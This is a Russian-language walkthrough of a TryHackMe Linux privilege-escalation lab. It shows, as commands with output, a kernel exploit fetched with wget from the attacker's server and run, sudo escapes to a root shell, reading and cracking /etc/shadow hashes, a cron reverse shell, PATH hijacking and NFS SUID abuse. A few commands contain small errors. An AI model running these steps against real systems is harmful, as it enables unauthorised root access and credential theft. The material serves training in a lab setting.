TryHackMe - Linux Privilege Escalation
Множество различных способов повышения привилегий в Linux
Введение
Повышение привилегий — обязательный этап в пентестинге и хакинге в целом, так как именно он позволяет получить полный доступ к удалённой машине.
Что такое повышение привилегий?
- Повышение привилегий — это процесс получения более высокого уровня доступа или прав в системе, чем было изначально предоставлено.
2 основных типа повышения привилегий:
-
Вертикальное повышение привилегий (Privilege Elevation) — атакующий получает более высокий уровень прав, например, переход от обычного пользователя к администратору или root. Обычно это происходит за счёт эксплуатации уязвимостей ПО, ошибок конфигурации или кражи учётных данных.
-
Горизонтальное повышение привилегий — атакующий остаётся на том же уровне привилегий, но получает доступ к учётной записи или ресурсам другого пользователя. Например, обычный пользователь может получить доступ к приватным данным другого пользователя.
Перечисление (Enumeration)
Запустим машину и подключимся к ней по ssh, используя предоставленные учётные данные.
1
2
ssh karen@10.10.151.202
Password1
Комната знакомит нас со следующими базовыми командами перечисления (Linux enumeration):
hostname— имя хоста целевой машиныuname -a— выводит информацию о системе и детали ядра/proc/version— отображает версию ядра и детали сборки/etc/issue— показывает информацию об операционной системеps— список запущенных процессовenv— отображает переменные окруженияsudo -l— показывает, какие команды пользователь может выполнять сsudols— список файлов и директорийid— отображает UID и GID пользователя/etc/passwd— содержит информацию о пользовательских аккаунтахhistory— история ранее выполненных командifconfig— информация о сетевых интерфейсах (устарела, используйтеip a)netstat— сетевые соединения и открытые порты (устарела, используйтеss)find— поиск файлов и директорий
Какое имя хоста у целевой системы?
1
2
hostname
wade7363
Ответ:
1
wade7363
Какова версия ядра Linux на целевой системе?
1
2
uname -a
Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
Ответ:
1
3.13.0-24-generic
Какая версия Linux используется?
1
2
cat /etc/issue
Ubuntu 14.04 LTS
Ответ:
1
Ubuntu 14.04 LTS
Какая версия языка Python установлена в системе?
1
2
3
4
python
Python 2.7.6 (default, Mar 22 2014, 22:59:56)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
Ответ:
1
2.7.6
Какая уязвимость, по‑видимому, затрагивает ядро целевой системы? (Введите номер CVE)
Чтобы ответить на этот вопрос, просто загуглим версию ядра вместе с CVE.
Ответ:
1
CVE-2015-1328
Автоматизированные инструменты перечисления
Полезно знать, какие инструменты автоматизации существуют. Лично я использовал только LinPeas:
LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEASLinEnum: https://github.com/rebootuser/LinEnumLES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggesterLinux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumerationLinux Priv Checker: https://github.com/linted/linuxprivchecker
Повышение привилегий: эксплойты ядра
Итак, по сути, комната говорит нам использовать найденный CVE. Наши следующие шаги:
- Скачать эксплойт с exploit-db
- Передать эксплойт на целевую машину
- Скомпилировать его и запустить
После загрузки эксплойта запускаем Python HTTP‑сервер в директории с файлом, чтобы затем скачать его на целевую машину.
Машина атакующего
1
2
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Машина жертвы (сначала необходимо перейти в каталог /tmp, так как в других местах у нас нет прав на запись)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ cd /tmp
$ wget http://10.14.99.72/37292.c
Connecting to 10.14.99.72:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/x-csrc]
Saving to: ‘37292.c’
100%[=====================================================================>] 5,119 --.-K/s in 0s
2025-03-02 10:11:16 (277 MB/s) - ‘37292.c’ saved [5119/5119]
$ uname -a
Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
$ gcc 37292.c -o 37292
$ ./37292
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),1001(karen)
И мы получаем наш первый флаг
Повышение привилегий: Sudo
Давайте проверим, что мы можем запускать с правами sudo
1
2
3
4
5
sudo -l
User karen may run the following commands on ip-10-10-118-61:
(ALL) NOPASSWD: /usr/bin/find
(ALL) NOPASSWD: /usr/bin/less
(ALL) NOPASSWD: /usr/bin/nano
Сколько программ пользователь «karen» может запускать в целевой системе с правами sudo?
Ответ:
1
3
Каково содержимое файла flag2.txt?
https://gtfobins.github.io/gtfobins/less/
Повышение привилегий с использованием less
- Запускаем
lessс правами sudo - Вводим
!/bin/bash, после чего получаем shell
1
2
3
$ sudo less /etc/profile
# id
uid=0(root) gid=0(root) groups=0(root)
Повышение привилегий с использованием find
https://gtfobins.github.io/gtfobins/find/#sudo
1
2
3
sudo find . -exec /bin/sh \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)
Повышение привилегий с использованием nano
https://gtfobins.github.io/gtfobins/nano/#sudo
- Запускаем
nanoс правами sudo - Нажимаем Ctrl + R, затем Ctrl + X
- Вводим
reset; sh 1>&0 2>&0и нажимаем Enter - Мы получаем root shell
И после этого мы можем получить flag2
Как бы вы использовали Nmap для получения root shell, если бы у вашего пользователя были sudo-права на nmap?
Ответ:
1
sudo nmap --interactive
Каков хэш пароля пользователя frank?
Так как мы уже получили root-доступ, просто посмотрим файл shadow
Повышение привилегий: SUID
В обычных условиях вы настраиваете права доступа к файлам и каталогам, но ситуация меняется при использовании SUID (Set-user Identification).
Такие файлы могут выполняться с уровнем привилегий владельца файла или владельца группы.
Какой пользователь носит имя известного автора комиксов?
1
cat /etc/passwd
Каков пароль пользователя user2?
1
base64 /etc/shadow | base64 --decode | tail
Теперь мы просто взламываем хэш с помощью john
1
2
$ echo '$6$m6VmzKTbzCD/.I10$cKOvZZ8/rsYwHd.pE099ZRwM686p/Ep13h7pFMBCG4t7IukRqc/fXlA1gHXh9F2CbwmD4Epi1Wgh.Cl.VV1mb/' > hash.txt
john hash.txt
Каково содержимое файла flag3.txt?
Похоже, что мы не можем прочитать флаг напрямую, поэтому нам нужно использовать ту же команду base64, чтобы его получить.
Повышение привилегий: Capabilities
Сколько бинарных файлов имеют установленные capabilities?
Как подсказывает комната, нам нужно перенаправить вывод в /dev/null, поэтому выполняем следующее
1
getcap -r / 2>/dev/null
Какой другой бинарный файл можно использовать через его capabilities?
Комната показывает нам эксплойт для бинарника vim, следовательно, другой бинарник, который можно использовать — это view.
Ответ:
1
view
Каково содержимое файла flag4.txt?
1
2
find / -name flag4.txt 2>/dev/null
/home/ubuntu/flag4.txt
Повышение привилегий: Cron Jobs
3 основных момента:
- Cron-задачи запускают скрипты по расписанию с правами их владельца
- Если cron-задача, принадлежащая root, выполняет скрипт, который мы можем изменить, мы можем повысить привилегии
- Чтобы посмотреть текущие cron-задачи, можно открыть файл
/etc/crontab
Мы можем выполнить cat этого файла, и там есть отличное объяснение
Сколько пользовательских cron-задач вы видите на целевой системе?
Ответ:
1
4
Каково содержимое файла flag5.txt?
Давайте поместим наш скрипт reverse shell в файл backup.sh и подождём, пока cron-задача выполнится
(не забудьте запустить netcat listener на машине атакующего)
1
nano backup.sh
Окей, спустя несколько минут я понял, что файл нельзя выполнить :D
Давайте добавим права на выполнение этому файлу
1
chmod +x backup.sh
И спустя некоторое время мы получаем соединение
Каков пароль пользователя Matt?
Ок, делаем следующее:
- Смотрим файл
shadowс помощьюcat - Сохраняем хэш пароля пользователя Matt в файл
hash2.txt(в нашем случае) - Взламываем хэш с помощью
john
Повышение привилегий: PATH
Базовый принцип:
- Если каталог с правами на запись находится в переменной PATH, вы можете перехватить выполнение команд, разместив вредоносный скрипт с тем же именем, что и у часто используемой команды
- Когда система ищет эту команду, она может выполнить ваш скрипт вместо оригинального, что потенциально приводит к повышению привилегий
Какой странный каталог имеет у вас права на запись?
Мы можем проверить, к чему у нас есть права на запись, используя команду find
1
find / -writable 2>/dev/null | tail
Через некоторое время команда возвращает результаты
Ответ:
1
/home/murdoch
Каково содержимое файла flag6.txt?
Окей, это заняло у меня некоторое время, но вот как это можно сделать:
- Переходим в каталог
/home/murdoch - Записываем
/bin/bashв файлthm, так как мы будем его выполнять - Выводим текущее значение переменной
$PATH(просто для перепроверки) - Экспортируем переменную PATH и меняем её на текущий каталог
- Запускаем файл
test
1
2
3
4
5
6
7
8
9
10
$ cd /home/murdoch
$ echo '/bin/bash' > thm
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
$ export PATH=/home/murdoch:$PATH
$ echo $PATH
/home/murdoch:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
$ ./test
root@ip-10-10-215-168:/home/murdoch# id
uid=0(root) gid=0(root) groups=0(root),1001(karen)
И после этого мы можем найти и прочитать наш флаг
Повышение привилегий: NFS
Сколько монтируемых ресурсов (shares) вы можете определить на целевой системе?
Для начала нам нужно смонтировать машину жертвы к нашей машине атакующего
1
showmount -e 10.10.175.134
Сколько ресурсов (shares) имеют включённую опцию “no_root_squash”?
На машине жертвы:
1
cat /etc/exports
Какое содержимое файла flag7.txt?
Итак, что мы можем сделать:
- Создать папку в директории
/tmpдля монтирования NFS‑шары - Смонтировать диск
- Создать скрипт, который будет выполнять
/bin/bash - Скомпилировать его и установить правильные права
- Переключиться на целевую машину и запустить исполняемый файл
1
2
3
4
5
mkdir /tmp/nfscd /tmp/nfs
mount -o rw 10.10.175.134:/home/ubuntu/sharedfolder /tmp/nfs
nano shell
gcc shell.c -o shell -w
chmod +s shell
Финальное задание (Capstone Challenge)
Похоже, это последнее задание, так что давайте с ним разберёмся.
Подключаемся к машине по ssh и проверяем, можем ли мы запускать что‑нибудь с правами sudo
1
2
3
4
5
6
7
8
9
10
11
12
13
ssh leonard@10.10.249.6
[leonard@ip-10-10-249-6 ~]$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for leonard:
Sorry, user leonard may not run sudo on ip-10-10-249-6.
[leonard@ip-10-10-249-6 ~]$
К сожалению, мы не можем запускать какие‑либо команды с правами sudo.
Так что давайте продолжим, используя методы, которые мы изучили ранее.
Cron‑задачи отсутствуют.
Проверим файлы с установленным битом SUID
1
find / -type f -perm -u=s 2>/dev/null
Флаг 2
Похоже, мы снова можем использовать base64!
После нескольких попыток нам наконец повезло
Флаг 1
Похоже, файл flag1.txt находится в другом месте.
Попробуем получить пароль пользователя missy.
- Получаем хеш пароля из файла
/etc/shadow - Взламываем хеш с помощью
john
1
base64 /etc/shadow | base64 --decode | grep missy
И затем взламываем хеш с помощью john
После этого мы можем переключиться на пользователя missy и проверить доступные файлы
1
su missy
И в итоге мы нашли расположение и содержимое файла flag1.txt
Я не уверен, что задание предполагалось решать именно таким способом, так как флаги были получены в неправильном порядке,
но в любом случае существует несколько разных путей, чтобы дойти до финиша.































